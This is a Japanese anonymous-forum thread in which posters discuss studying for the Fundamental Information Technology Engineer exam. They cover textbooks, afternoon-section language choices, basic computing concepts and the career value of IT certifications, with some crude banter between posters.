11月から本格的に勉強を始めた。来年から情報の専門に通うからだ。
2年位前にもちょこっと勉強はしてたんだけどあんまり意欲が沸かず、放置。
専門学校という目標ができたからかな。
早い段階で取っておきたいというのもある。

>>239
そうじゃねえの？

春　基本情報合格
秋　応用情報合格

〜そして就活へ〜

>>242
いま高３？がんばれ
テキストを大量に買うよりググったほうが早かったりするよ

金が大丈夫なら大抵本の方が良いけどなー

春　基本情報不合格
秋　基本情報不合格

〜そして就活へ〜

秋とってから就活って遅くね？

考え方、逆じゃね？
就活の前の秋でしょ

今2年生なんだろ

まぁ基本は裏技で午前免除があるからなｗ

7日から申し込みだぞー　忘れるなよー

>>252
願書の配布期間でした・・・
願書の受付時間自体は12日10時からっぽいです　すみませんでした

基本情報技術者もちの３０歳業界未経験ですが、IT業界にPGとして就職できるでしょうか？

おｋ
夢はいつか実現する

>>254
http://www.qjinweb.com/shikaku/shikaku.php?qualification2ID=08014&PHPSESSID=048e229f167ebe7a5c1baa51315a86e9

基本情報合格してて、プログラムできるならあるとおもう

>>256
プログラムの実務経験は殆ないけど、入れてくれるのかね？

>>242
同じ奴が居るんだな…
サボりがちだったけど今日から俺も気合入れるぞ

>>254
正社員として雇うのはPGではなく
将来管理職をやってもらうために雇うので正社員は無理
派遣とかも高齢のPGは使いにくいからきついんじゃないの
プログラムなんて技術と呼べるほどのものじゃないからな

事務員とかに応募したほうがいいんじゃねーの
ITは
■転職（未経験）
第１〜25、第２〜27、
第３〜30、第４〜35歳
って感じだろうな
第4に関しては転職サイト10社くらい見ても1件〜2件くらいしかない。
第3,4は未経験だと資格あっても無理だろ。
第2くらいがギリギリな感じだ・・

時間があるなら大学目指せばよかったんじゃないの
なぜ専門入る前から基本勉強するぐらいなのに
専門に入学する

>>261
大学に行かない≠大学に行けない

私の友達は高校卒業後専門（大原みたいなとこ）に通って、
２年で公認会計士合格して、今は研修してるよ
そういう人もいるってことで

PGって使い物にならないの？
おれ、C＋＋できるよ？

いや、有用だが

>>263
SIer以外の分野に行けばいい

>>265
それってどんな分野？

誰かぬこの本のイラスト描いてる人の名前教えてけれ。
むかし世話になったんだが、売っちゃって手元にないんだ。

久々に試験を受けてみようと思ってるのですが、
午後にオススメの本ってありますか？
午後完全合格教本か、過去問がたくさん載ってる本を買うか
迷ってます。他にオススメのがあれば教えてください。
午前は猫本かってみます。

春にSEとなり春に試験を受けるつもりです。
プログラムはexcelやらのマクロしか書いたことがありません。
今後のことを考えると、午後の言語は何を選択すべきでしょうか？

根本から理解するのにCASL？
とりあえず知っとかないといけないだろってことでC？
オブジェクト指向は必須だろってことでJava？
おじさんに好かれるためにCOBOL？

意見を聞かせてください。

（表計算は考えていません）

>>269
入社する会社が使っている言語に近い言語にすればいいかと。

前回の試験で全く勉強せずに挑んだら
正解率午前30%
　　　午後15%
だった。今度こそリベンジをと考えているんだがまだ何も勉強していない…

>>270
レスありがとうございます。
入社する会社は手広くやってまして、どの言語も使う部署があるみたいです。
けれども、まだ配属部署は決まってません。

受かるためにCASLを選ぶか、一番知っとけとよく言われるCがいいかなとは思うのですが、
Cを0から勉強すると何カ月ぐらいかかるんでしょうか？

>>272
数日じゃないかな

CASLは今からゼロ知識から勉強して試験日までに対応できるのか？

基本挿入法で質問があるんですが、
比較回数が最悪の場合O（n^2）、最良でO（n）とありました。
ですが、なぜO（ｎ）で完了できるのか理解できません。
常に、2重ループを通るのですからバブルソートや選択法と同じくO（n^2）じゃないのでしょうか？

>>274
毎日勉強するなら1ヶ月もあればいける。

>>275
極端な例として、最初からソートされている配列の場合、比較回数がどうなるか考えてみれば分かるかな？

基本情報（午後）完全合格教本2010年度版

で勉強してる人いる？

あれの４４０ページの設問１のｂの解答

「エ」の昇格者でないの？

出版社に質問しろ。
問題ぐらいかけ。
選択肢を選んだ理由もかいとけ

当方、C言語を勉強中。
1月31日にＣ言語プログラミング能力認定試験があるから2級の腕試しをしてみます。
スレチｽﾏｿ

おれもジャバのやつ受けたいけど
高すぎる

昨日ちょうど、SJC-WC受けて通ったから、基本情報がんばるぜ。
午後はJAVAでいくかCだな

プログラミング言語に試験なんかあるのか、面白そうだな

WCとったなら午後のJAVAなんて鼻くそだろ。

C言語は面白いからなぁ
その点Javaは俺にとっては高度すぎるぜ

試験合格よりも社内システムつまらないからそっちから早くから抜け出したい・・・

いまどきCとかCASL使うSIerあるのか・・・

SIerの世界の定義は知らないけど、組み込み系ではC言語は結構使うよ。
うちの親父なんかZ80をアセンブラでゴリゴリ書いていたｗ

組み込みっていうとアイトロンか…

>>286
Cは使えて当然。
CASLなんか使う奴がいるわけ無い。

>>254
絶望的だと思われ

おじさんは表計算で受けちゃうぞ〜

そういうセリフはおれのチンポを
丁寧に舐めあげてから言え

ちゅぱちゅぱ、おじさんは表計算で受けちゃうぞ〜

表計算は女が選択するものだ

それは偏見すぎる

男はだまってFORTRAN

>>294
JAVAやめて表計算にしときます！！

そういうセリフはおれのチンポを
丁寧に舐めあげてから言え

くだらんこと言ってないで勉強しろ

なにこのまともなレス、好き

Amazonから猫本届いた。
いいねこれ。分かり易いわ。

>>301
わかりやすそうに見えるだけじゃね？
他の本と比較することをお勧めするよ

この資格は情報処理の基礎理論だから
取ったとしても既卒が
情報系の大学に行ってる奴らには絶対追いつけないんだよな
やっぱOSの設定とかルーターの設定とか
そういう関係のほうがいいんじゃないかな
基礎理論かなりやっててもIT機器の操作はできない人多いから
まだ既卒も勝負できる
開発で情報系新卒とやりあうのは自殺行為

1+1は2なんだぜ！と大人に力説するくらい恥ずかしい

>>303
もとより基本情報ﾚﾍﾞﾙの資格では就職有利になっても
採用の決め手にはならないだろ

そりゃ情報系学部の大学で４年間みっちり実習してる人と、
机上の資格だけの人では雲泥の差があるだろうよ。

おいおい情報系学部もベースは基本情報のことばっかだぞ
ルータやOSの設定したいならパソコンショップの店員でも目指せ

逆だろ。
基本情報も取れない奴を取る会社があるとでも？

>>308
・基本情報を取れない奴を取らない会社
・基本情報を取れない奴を取る会社

どちらが多いでしょうか？

普通に考えれば、ちゃんと情報系の大卒か、情報系の専門卒で、
資格も持っていれば尚可という感じだと思うけどな

再配置可能プログラムってどういうこと？

ベースレジスタを設定することで、アドレスを動的に再設定できるため、
主記憶のどこにでも配置でき主記憶を有効に活用できる。

っていう説明がよくわからん。

情報系の人材で大事なのって、安さとタフさじゃないの？
資格が役に立つのは採用されてからでしょ

>>311
メモリー内のどこに置いても動かせるプログラムってこと。
変数へのアクセスが相対アドレスだけな場合など。

逆に言うとある種のプログラムは特定のアドレスに置かれてないと動かないものもあるってこと。

>>313
いみわからん
アドレスを動的に再設定ってどうこと？
ハッシュ探索のシノニムみたいなイメージ？

おまえらえらい真面目だな
俺なんか嫌いな奴が受験すると聞いて、ただそれだけで受けるんだぜｗ
合格してもそいつには教えないというつまらん満足感のためだけだぜ？

おまえは落ちる。そして友達は受かるだろうな
そんなくだらん動機じゃモチベーションも維持できないだろうしな

>>314
プログラムっつーのはメモリー内部にロードされて、それからCPUが先頭から実行していくのは分かっとるよな？

これがいわゆるノイマン型ってやつだ。

この時、メモリー空間の特定のアドレスでしか動かせないか、どこにロードしても構わないかの違い。

最近やっとIPアドレスの下にあるサブネットマスクの存在理由がわかって感動した

周りにはくだらん動機に見えても結構続くこともある

>>316
一応ベンダー系の資格は5つとってるぜｗ会社の研修やらなんやらでな
だが国家試験のはもってない。
それでITパスポ秋期補正で受かった馬鹿に馬鹿にされたｗｗ
おれはやるぜ？やってやんよ？

モチベーションもばっちりだぜ！！！

>>317
なんとなくわかった
けど再配置って言葉とイメージが合致しないなぁ
それだと、どこでも配置可能プログラムっていう名称にしてほしい

>>320
お前さんは基本情報みたいな簡単なのは飛ばしてスペシャリスト系にしろ。

そして午後1で時間の無さに泣け。

>>321
まぁ、「リロケータブル」だから直訳すりゃ「再配置可能」だわな。

>>322
上を見ない、無理しない性格なんで無理です！！！
そして落ちたことを考えると死ねる。勉強しよう････

>>324
つまんない奴だな。
確実に取れる資格程度で満足してるのか？

>>307
企業レベルでの話しね
プログラムみたいな設定が必要なんだよ

394 名前： ◆ugPD9K.xMA [sage] 投稿日：2008/12/19(金) 14:50:39 ID:nv862fmj
　　ﾊyｲﾟ ヮﾟﾉｲ ＜Javaエンジニアになってくださいよと資格学校のおじさんに言われたが。
　　).7Y)｀：´lﾌ 　　　俺は馬鹿だからか、馬鹿じゃないからか、いずれにしても、つまらない。からやだと
　 　(ﾝ/｀ﾊ'ﾍ! 　　　　　思いそうだ。でもCCIEが楽しいって訳でもないんだけどさ。俺はハッカーだろうな
　　 ｀'-i'_ｨ,ｧ┘ 　　　　　　プログラマーのレベルじゃないと思うわけ。
412 名前： ◆ugPD9K.xMA [sage] 投稿日：2008/12/19(金) 16:38:01 ID:nv862fmj
　 ﾉﾚ§ﾟ ヮﾟﾉiゝ　　＜だってさ所詮、スパイの世界の問題論でしょ・・・
　 ｀k'_.〉｀=' !つ　　　　　俺そんなの関係ない。ただ、セキュリティの仕事って
　　 i_ﾉ'i!￣i!>、　　　　　　逆に言えば自作自演か。まるで攻殻機動隊だな。
　　 ~'i,ﾝT,ﾝ"~ 　　　　　　　ソースコードの読み方とか、バグのつぶし方とか
そっちには多少の興味を持ったけど、俺はね、大学の卒論で、
3DをJavaで動かすソフトのことやってるんだけど。Javaが好きなのは当然。
ただ、あんなもん今更・・ってなかんじで。資格か。はぁ。・・・
2種取れるならさ、JPA？10日でとれんでしょ。ｗ
335 名前：うさぎどん ◆ugPD9K.xMA [sage] 投稿日：2009/01/08(木) 16:55:21 0
一気にCCNPの本を買いたい衝動に駆られるが、ここを我慢する。大切なことだ。
管理できなくなるから。
887 名前：うさぎどん ◆ugPD9K.xMA [age] 投稿日：2009/01/10(土) 12:44:58
わざと欺されてKENに入ったよ。　CCNA取得理由は、趣味にチェック入れた。
CCNPまで受けるよ。もともとCCNA持ってて失効しただけだから。

501 名前： ◆ugPD9K.xMA [sage] 投稿日：2008/12/04(木) 20:07:04 ID:qiloCMIc
　　　　　 ﾉ ﾉi:::::::::::iヽ_ .ﾘ 　 　　!,__ｒ,ﾉ.,'::::::::|　　私の計算によると、「プログラミングなら外国人でも出来る。
　　　　　　　 ',::::::::,'////　　 ,　 ////,'::::::::/　　　　　しかし、ネットワークだと、外国人がやってきて引くわけにも
　　　 　 　 　.',:::::::',ﾄ､.　　 　　 　 　 /|:::::::,'::7　　　　　設定するわけにも行かない。だから、日本人である私に
　　　　　　 　 ヽ::::人:`.､ 　´￣　 ／ヾ|:::::i .i::ヽ　　　　　有意点がある、勝算がある。」と考えたが、実際は
　　　　 　　_／⌒)斗＼. ト‐ -.‐ｲ_　　|::::i　i::::',　 　/i　　よく分からん。結局、ベンダー試験ばかり勉強しているうちに
　　　 　　 ,く::::::::/:::ノ|＼ﾉ　　　 i／｀ヽ:::i__,i:::::( ﾄ__ﾉ |　　　MCSE、CCNAの時点で、Webサーバやメールサーバの
　　 　 　 ,' 　〉ノ: } }　{　 ＼_ _／　　.ﾉ::/　.`ヽ:丶-r '　　　　設定の方が、プログラミングよりも詳しくなったというか、
　　　　 / 　 {__,ノソ　／￣／＼￣＼　r ､-､_／／　　　　　　プログラミングというのは、ものすごく、特殊な深いところが
　　 　 /　 ィ′ﾘ　　　 r/;;;i‐''i;;;;;＼　r ヽ ヽ l／只　　　　　　　あって、勉強して望む物でもないと感じる。やって勝負だ。
　　　./　　 {:::／　　　 くノ;;!　 i;;;;i" (｀ヽ　　_ l （::::）　　　　　　　　まぁ、LinuxにPHPやPostgreSQLとかでもイイと思うが、
　　 /　　　介　　　　 　L;;|.　 `''`　}　　r　／　`八　　　　　　　　　　俺が会社でやらされたのは、VB使ってASPで
SQLサーバをいじった。出来ないことは無かった。言われたことに関しては。
そのとき、やはり、オラクルの勉強は役に立った。つーのは、SQLいじるからな。
その原理ぐらい知らないと話にならない。

低脳にオススメなのはPGだと思うが
本見ながらやれば、文系卒だろうがエンジニアを名乗れるレベルの作業はこなせる
もちろん資格もいらん
能力がなくても出来る職なのだからPGの待遇が悪いのは当たり前なんだな

たしかにCCNAという資格は微妙だね、少なくとも労力に見合った効果がない気がする（持ってるが
CCNAよりもオラクルの資格取ったほうが様々な分野に利くし

>>325
すいません！！！
ストレスが極端に嫌な質なんです！

オラクル銅なら持ってるが流石に応用情報のほうが有用だと思いたい

オラクルの価値がでるのは金以上

プラチナなんてとれるかよ、このエリートどもが

金でいいんやで

>>320
資格だけで技術が備わってないから馬鹿にされたんじゃね？
ﾍﾞﾝﾀﾞ資格なんて実施問題が事前に出回ってるんだから受かるだけならITﾊﾟｽﾎﾟｰﾄの方が大変

>>335
えっ

そもそも本来は資格でなんとかしようとしてる時点で・・・・

>>335
ねーよｗｗｗ

おっと書き忘れ

秋期アイパス補正合格ってことは実務に耐えんラベルだろーが
どう考えてもねーわ

ベンダー5つってどんなのかな
MCP2個、CCNA、オラクル銅、LPICって感じ？
秋にアイパス受かったけど、さすがにアイパスより下とは思わないわ〜

>>335はﾍﾞﾝﾀﾞｰ資格は答えが出回ってるから簡単って意味だよ？

やるやらないは別としても解答記号丸覚えで受かる試験（問題を覚えるのではなく解答記号を覚えるだけ）

それとITﾊﾟｽﾎﾟｰﾄを比べてみれば？

>MCP2個、CCNA、オラクル銅、LPIC
その組み合わせだとFEとかぶのはハードウェア、データベース技術、
システム構成、セキュリティあたりかね

答えが出回ってたのは昔のVerだろ
いまのは無理

かぶ→かぶる、だった

>>341
スレ違いな>>320ネタひっぱるのもどうかと思うけど、
会社の研修やらなんやらって書いてあるからさすがにゲスパーでしょ

>>341
秋補正で受かった馬鹿ってとこに引っかかたんだろうけど
(正直。自分も引っかかったｗ)
難癖つけてるようにしかみえないや。ごめんね

アイパスって合格率70越えだろ？ただIPAに5100円寄付するようなもんじゃんｗｗ

アイパスは補正入れてやっと50％超えたぐらいやがな

おまえら100日きったのに余裕だな･･･
今日やっと猫本1章終わったとこだぞ俺は

>>341の敗因はこのスレにはベンダー持ちが案外いるという
可能性を忘れた処にある
ベンダー持ち=丸暗記って解釈ですべてを見てるんだろう･･･

あほか

おまえら･･･資格ランキングスレに池！！！

>>343
ｲﾀﾁｺﾞｯｺ

>>348
2章>>>1章>>3章>>>>>>>>>>>>>>>>>>>>>>>>>>>>>その他

スレ違いですが今、専門いってて、飛行機つかわないとベンダー受けられない僻地住み
MCP系ももってたほうがいいかなって入学前に講師に聞いてみたら
>>341みたいなこといわれたわ･･･(ベンダー資格は丸暗記、実際意味ないetc)
まぁ基本情報対策とかも直前予想模試以外にはフォローない学校なんで
資格取得に力入れてないところなんですが

ぶっちゃけ、就活に役にたつんでしょうか＞ベンダー系

ベンダー資格はSJC-P、SJC-WC、CCNAの3つだけしか持ってないっす。
社会人1年目中にもうちょっと頑張りたかったなぁ

この資格・・ぶっちゃけ、受かるだけなら２週間くらいあれば、
できるとおもうんだけど・・何でそんなに皆んな必死なんだ・・

基本的にＪａｖａをまったく触った事がない素人でも１０時間あれば合格可能です。

http://adgjm.net/exam/sjc035_study.htm

>>351
俺も学生っす
基情もIT系就職したいなら、持ってたらマシなレベルの資格だろ(就活の意味では)
それと同じ
ベンダーもっていても実務経験と比べたら確実に下

試験は受ける気ないけど、LPICのレベル2空き時間に自習してるよ
(資格系のテキストは独学者にとっつきやすいんだよな)
今受けなくても、就職後取得をすすめられることだってある


>>351
アイパス様をあがめよ〜称えよ〜

ITパスは、合格したかどうかじゃなくて、合格点を見るものだろ・・・ｊｋ・・・

>>358
じゃあ履歴書に点数書けば？
会社で資格の事を聞かれたら点数の事まで話せば？

>>359
俺シスアド持ちなんで・・・ITパスとか取らないわ・・・

>>353です

ありがとうございます
入学前にベンダー系に対して>>353のように、マイナスイメージをもってしまってたのですが、
最近書店でMCPのテキストをなんとなく手にとった所、知らないことが山ほどあるじゃねーか･･･orzと、
講師の意見に疑問を感じて不安になり聞いてみました
そうですよね。MS-OSや鯖にしろ、シスコルーターやLinuxにしてもゼロより知識はあった方がいいですよね
>>357さん方式で受けないにしても、自習してみます

スレ違いすみませんでした

基本情報って２週間勉強すれば受かるだろｗ
落ちるやつは何考えてるんだｗ

受かる受かるって言ってこのスレ入り浸ってるお前はなんなんだよｗ

自分は頭いいですよ的なレスされても面白くないよ

>>359
珍しい部類だろうけど
うちの会社は面接のとき点数聞いてるみたい。
開発志望者は基本の選択言語も。

専門学校でベンダーアンチってどうなんだろう･･･
情報学部なんかの理工系ならともかくさ

どう考えても２週間で受かる試験でしょ・・
司法試験じゃないんだから・・

そりゃ学生なら2週間でしょうな

>>364
おまえは面白くなくてもやってる方は面白いだろｗ
少しは頭使えｗｗｗｗｗｗｗ

>>366
プログラマ専科ならありえるんじゃね＞ベンダーアンチの専門

>>368
ﾆｰﾄなら1週間か…

この手のｽﾚでいつも思うんだが
簡単簡単言ってる奴はすでに持ってる奴？
それとも準備完了で暇だから冷やかしに来てるのか？

>>370
実質プログラマ専科な専門いってるがそれは無い
むしろ取るように推奨されてるが･･･

>>354
SJC-P、SJC-WCって初めて知った俺情弱

普通しらない。

>>372
最初から知識がある奴と何度か受けたことのある奴ってのもいるんじゃないの？

そんなのは資格マニアしか知らない資格だしな。
奇を狙わず、業界でやはり一番スタンダードとなってる資格を取るのがいいと思うよ。

>>376
若干納得できる説明だけど
簡単というなら基本情報より↑の資格受ければいいのにな

見下したい年頃なのよ

>>378
上の資格だと急に難しくなるから仕方なしにここで止まってるとかか
上の資格知らんけど

年頃ならしかたないな

専門なんかベンダーの受ける値段が六分の一？ぐらいになるんだから
とりまくりだろ。入った意味がない。
新卒以外なら
シスコルーター使える＞＞＞データベースの知識がある＞＞＞
MOSワード、エクセルとか＞＞＞基本情報技術者（笑

比較対象がそもそも違うだろ。
シラバス読んでこいよ

コンピューターの基礎理論があったって
即戦力にはならんからな
ワード、エクセルが使えるほうがまだいい
専門や文系大学の新卒用の資格

これからプログラマの専門ってなくなるよね
SEの学科になって
簿記とか教えるようになるんじゃないかな

基本情報持ってるって言われても、そいつがどこに進みたいのか、どの方向に進めてやるか
ってのがわかりづらい。どっかの方面に特化してきてくれたら仕事も振りやすいんだが。

基本なんだから当たり前だろう

応用も同じ

だから仕事やるんだったらベンダーってこっちゃ

>>386
使う側からしたらそうですよね･･･
今年もっとがんばろう

基本は大事ってスラムダンクでも言ってただろう
基礎をすっとばしていいのは天才だけ。

基本情報の基礎は
古すぎてもはや実際の技術に応用できない

資格で技術つけようとしてるのがおかしい
webアプリケーションにはhtmlの知識も必要だが
基本情報基本情報いってコマンドラインの役に立たないプログラムばかり書いて
実際htmlも書けない奴ばっか

まあ大学一、二年とかで取るもんだしそんなもんかと

大学生とかって授業でもろ基本情報と同じような内容の難しい版みたいなの
やるのに取る必要あるの？

基本情報と応用情報って範囲がかぶるよね・・

応用情報はきちんと理解してないと受からないけど、
基本は適当でも合格できる感じだよね・・

情報系の学生は情報理論とか符号理論とかやるでしょ。
確率システム理論とかもやる・・・

まさか基本情報に落ちる奴なんていないでしょ・・・

>>392
htmlなんてアホでも無い限り3日で余裕だろ？
せめてcssってかけよｗ　cssにしても基礎ならこれも3日で十分

みんなこんな時間まで勉強か

>>397
html３日ってお前すごいな・・・
htmlの文法って膨大過ぎて俺には３日で使いこなすことはできん・・
cssは言うに及ばずだな
javascriptなんてもっと難しいし・・

猫本3章読み終わりました･･･
1章に3日かかったので、続けて2章に行く気力もなく逃げた
知識のある章と交互で行こう

>>352
ありがとう。参考にしますた

>>399
お前のいってる使えるってのは、俺が意味してるのと違うんじゃね？

俺がいってる基礎ってのは、さしてムズくないhtmlとcssのサンプル外見渡されて
それを入力補足機能のあるエディタで作るって初心者レベル

もちろんクロスブラウザなcssなんて全然な

それは初心者じゃなくて入門レベル

>htmlの文法って膨大過ぎて
なにをいってるんだおまいは･･･
文法の意味わかってないだろ

資格の是非みたいな話はいらないよ。
基本情報そのものについて意見があるならIPAにいいなよ。

質問まだ〜？

みんな休日は何時間勉強してるの？

高校のテスト前みたいな質問だな

データベースがかったりぃ・・
大して難しくはないと思うけど
興味ないからめんどくせー

>>406
平日2時間
休日5時間

元々は、情報工学科卒の大卒がＳＥで設計の経験を積み、
情報専門卒の専門卒はプログラミングをやるというのが普通だったんだしさ。

何言ってるの
リア充文系が上流で企画とかだけやって
あとは丸投げて
大卒と専門が技術的な設計やプログラミングやるのがIT業界

>>411
その企画やらやるのはお金を払ってくれるお客さんなんだから当たり前でそ。

そろそろ基本情報、午前の参考書が終わるのだが
午後はどのテキストがいいかな

オススメあれば教えてください

アルゴリは大滝か福島のアルゴリ編の2択
午後全般は福島午後
言語はどれでも。

午前全般1冊
ｱﾙｺﾞﾘｽﾞﾑ1冊
午後全般1冊
言語1冊
問題臭1冊

この試験って合計5冊必要なんだよな
簡単と評価される理由がわからない

>>415
4冊でも多い気がしたがな…
そのメニューだと午後全般は無くても良いと思うが

>>416
おお　まじかぁ…
午後全般と言語本はまだ買ってないので午後全般は無しでいきます

ありがと〜＾＾ﾉ

>>415
午前・午後全般と過去問2冊を入れ替えろ

ｱﾙｺﾞﾘｽﾞﾑ1冊
言語1冊
問題臭1冊
問題臭1冊
問題臭1冊

かなり鬼畜な並びだが、受かる事を目的とするなら過去問を嫌という位やった方が良いと聞いた。

自分は過去門1冊と、参考書兼通勤用に猫本という2冊態勢。
過去問をひと通り終えたら、午後の問題集をもう一冊買おうかなと思ってる。

初学者なら最低でも415の5冊だろ
というかもう試験まで100日もないのに残りをどうやって消化するんだ？

>>418
ITﾊﾟｽﾎﾟｰﾄの時にお世話になったﾊﾟｰﾌｪｸﾄﾗﾝﾆﾝｸﾞ過去問題集ってのを使う予定だけど
１冊じゃ足りない？
一応20年秋、21年春秋、対策問題　の計4回分入ってます

>>420
100日あれば300時間以上勉強できると思うが…足りない？

まじめに300時間やれば十分だ
途中でサボらないよう頑張って

>>423
ありがと
今のところ順調に午前はほぼ完了済みで
問題はこ連休明けから開始予定のｱﾙｺﾞﾘｽﾞﾑと言語だ…

>>422
一日3時間か…
勉強の仕方や個人の学習能力の差もあるから何とも言えん
ただ何のアクシデントもなくその予定通りにモチベーションを維持できるという条件なら大丈夫だとは思うが…
幾ら大好きな趣味や科目であっても毎日勉強し続けると、ほとんどの人は必ず「やりたくないクレパス」に滑落しかける事がある
そうならない様に息抜き時間、つまり「この日は何もやらん！」と決めちゃう日を足しておくと、後になって急なアクシデントが発生しても必ず融通が利く
予定というものはほとんどの場合、その通りにはいかない事の方が多いからそれを前提に組んどくべきだ

>>425
300時間と言ったけど予定では400時間です
100時間ｸﾞｰﾀﾗするのは想定内

予定の中で一番気になっているのはやはり午後問題がいきづまった場合の対処だな…

ITパスポートか基本情報でどっち受けようか迷ってます。
大学の春休みがまるまる2か月あるのでこの期間に勉強できれば4月の試験に受かりますでしょうか？
一応高校は情報技術科出てjavaや疑似言語などが出来ます

じゃあ行けるんじゃないの

がんばろう、という意味

トリつけてたら無線ｂの自演が出来ないなｗ

大学の講義で、IＴパスまたは基本情報があれば優とれる講義があるのと、
夏休み後半＋開始後の放課後に基本情報午前免除講習（夏休みは実家に居たいんで正直行きたくない）があるんでどちらにしようか迷ってました。

>>412
お前はなに行ってるんだ

>>432
変な下請け会社で勤めてるんじゃね？

>>433
上流はパソコンには一切さわらない技術的なことも知らない
ってのがIT業界

なんとなくモンハン２Gってやつ買ったら
やめられなくなった。
目がしばしばする。

ttp://adgjm.net/exam/sjc035_study.htm
これ得意げに貼ってた奴
今はver二つも上がってるから
２割ぐらいしか問題似てるのでなくてまともにやらないと受からないってよ

SJCのはそれじゃないよ

おっさんが基本スレでベンダーは評価されないとか昔のこと言ってんだろ

FOM出版のよくわかるマスターってどうなん

C言語って意外と面白いな。

猫本430Pの「SOA」の意味解説

ちがくね？

どんな内容だね

SOA：
SOAはソフトウェアをネットワーク内のサーバにおき、ユーザが必要とする機能だけをサービスとしてネットワークを経由して提供するという考え方です

>>443
それは、ASPまたはSaaSやね

あってるでしょ？
ASPはアプリケーションシステムの機能をネットワーク経由で複数の
顧客に提供する

システムをビジネスの機能を毎に分割した汎用的な部品の事を「サービス」と呼び、
これを疎結合させて必要なシステムを構築する手法。

これ午前免除使って受ける人っているのかな？

12月に買った猫本ようやく1周したー

ASPと聞いて、AppricationServerPagesしか思い出せなかった。

なんやようわからんけど、午前免除を獲得出来そうな人は獲得すればいいやん。

>>449
綴りワロタ

2週間後に試験があるので頑張る

>>452
12月のは落ちたの？

頻尿親父なので、午後150分小便我慢がいちばん難易度が高い。

>>454
確か試験中にもﾄｲﾚ行けるよね？
でも悪用してﾄｲﾚ内でｶﾝﾆﾝｸﾞする奴は必ずいるはず…
なんかなぁ

>>455
トイレ付き添いの試験管（廊下で待機）は、
その日だけのアルバイトだからよほどのことがないと何も言わないんだよね・・

秋季の試験管やったけど午前午後あわせて10人くらいトイレ行ったし、
リピーターさんもいたよ
正直廊下待機退屈だからトイレ付き添いでも歩けて嬉しいｗ

うわああ試験官だったｗｗｗorz

>>456
お前メスシリンダーさん知ってるか？

>>456
ｶﾞｽﾊﾞｰﾅｰで炙られたいﾀﾁかい？

一時的にしろ内部関係者だった事か・・
質問だがもしﾄｲﾚ内で携帯電話等の電子音が聞こえたりした場合の対処はどうなってるんだ？

謝ってるじゃないか！
許してやれよ！

試験管を持ち込んで教室で放尿するなよ

レベル1のITパスポート合格したんでレベル2の基本情報技術者の参考書
買ってきたんだけど難易度高すぎ

猫本って何ですか？

>>462
過去問だけといてみたらどうだろう？
教科書の難易度とは大分違うかもしれん

>>462
まるで俺の出発地点のようだ・・・
その様子だと買ってきた教科書も午前のみでしょ？
午前試験はITﾊﾟｽﾎﾟｰﾄ持ってる奴なら毛の生えた程度の範囲だよ

午後試験の内容を知った時の悪夢に負けないでね

猫本って何？

>>466
イメージ&クレバー方式でよくわかる 栢木先生の基本情報技術者教室 のこと

>>466
http://blog.oricon.co.jp/neko_hiroshi/archive/3837/0
これじゃね？

>>467

表紙のイラストが猫
ってことですか。

わかりました。ありがとうございます　＾　＾

やっぱ午前はみんな猫本なのか
てか午後…

午後選択のＣ言語の勉強ばかりしていたら、
擬似言語の問題がピンとこなくなった。
ほぼパーフェクトだったのに・・・。
考え方というか思考パターンがＣになってしまった。

午前を猫で適当にやってると午後がイミフになるが
そもそも問題読むだけで答えが分かるという

TACの通信で基本情報技術者資格の為の勉強してるんだが

俺「情報処理に関しては素人なんだが、この講座って大丈夫？他にITパスポート講座があるけど」
TAC担当者「大丈夫ですよ。サポートもあるし、教材だけで初心者から勉強できます」

で、今勉強してるんだが
教本が不親切すぎて、さっぱり理解できない

マジでやめときゃ良かった
このままだと午前はともかく午後は確実に不合格だ・・・

皆さんどうされたら良いと思います？

1．教則本を買ってきて独自に勉強する
2．TACの教材で頑張る
3．開き直って2010年の試験は捨てる

理解できない事をここで質問する。

俺は市販の本を買ってきて勉強している。
それでも選択言語以外は結構理解できた。
選択言語はＣにしたから、最初は一問理解するのに丸一日とか二日とかかった。

>>459
「禁則事項です☆」

きも

もうすぐ願書受付始まるね
忘れないようにとやる気出すために早めにやっとけよ

資格学校とか免除のために入るんじゃねーの
使う教材縛られるだけとか損じゃん

>>473
君本当にTAC生？
通信だと午後の勉強はまだ始まってないはずだけど。

ﾌﾟﾛｸﾞﾗﾑ未経験者なら午後は表計算で受けるのが普通かと思ってたんですが
この意見って偏見でしょうか？

1.未経験者、表計算
2.未経験者、言語
3.経験者、表計算
4.経験者、言語

20代前半の受験者が多いので未経験者＞経験者だと思います
なので全体の割合は
1→65%
2→15%
3→5%
4→15%
こんな感じかと予想してます。
みなさんの意見も聞かせてください

表計算なんて邪道だな

7割の若者がWord/Excelを使えない - MSがITスキルアップによる就労支援へ
http://journal.mycom.co.jp/news/2009/12/07/005/index.html


おれはこれ見て、逆に表計算の重要性を感じたぜ
世の中、Word/Excelもできてない奴が大多数であるのが現実なんだとおもうぜ
プログラムなんかできたら神のレベルだぜ？

>>483
マイクロソフトのワードとエクセル検定みたいな奴うけてください＾＾；

アルゴリズムとプログラムが鬼だったころの基本情報に戻ってください。

合格率は15%平均に戻しましょう。このままじゃ、価値が下がって仕方が無いです。

より簡単な3種試験を実施して、簡単な問題はそちらでやることにして欲しいな。

表計算プログラミングもそちらで行って欲しいです。

試験はプログラムで
実際使うこと多いのはエクセルだろうけど

情報処理
1種→年2回13%　平均年齢29歳・・より上流を選択、初歩プロマネ、設計
2種→年2回18%　平均年齢25歳・・設計、実務プログラム
3種→年2回35%　平均年齢22歳・・初歩プログラム、一般利用

こういう階層構造ならわかりやすい。

同じくネットワークも。
ネットワークスペシャリスト→年1回8%　32歳・・専門レベル
ネットワークベーシック→年2回30%　　 24歳・・初学レベル

これで、全体的な受験者を減らさないで済むんじゃないかな？

基本情報はIT技術者だけでなく営業とかの人にも門戸を解放したわけだけど
その路線ではなく、旧来通り技術者向けの資格に戻すって事か？

基本情報技術者の試験でエクセルって、
資格の意味が変わってきてない?

ネットワークベーシック
データベースベーシック
セキュリティベーシック
2種

を取得すると、一つの称号「公認　情報開発技術者」となる。

さらに1種を取得すると、一つの称号「公認　上級情報開発者」となる。

>>489
営業には営業用の資格で良いと思う。
なぜ門戸を広げるのか良くわからん。
すでに合格している人とは、全く整合性が取れてない。

以前、難易度の高かった頃に合格している人まで、同等のレベルで見られると言うのはいかんともしがたい。

>>490
既に技術者だけの資格じゃ無くなってるんだよ。

>>491
●●ベーシックって必要か？
それ全て基本情報に含まれてないか？

>>492
単純に受験者数を増やしたいんでしょう。

3種試験は営業のような一般利用者にも入りやすい資格で良いのではないかな？

仕事しながら2種を合格するには、難易度が高いと思うし、時間も無駄で3種の方がニーズはあるはず。

しかし、3種がシスアドの様な評判になるのはまずいので、開発知識も必要と言う体裁を保つ。

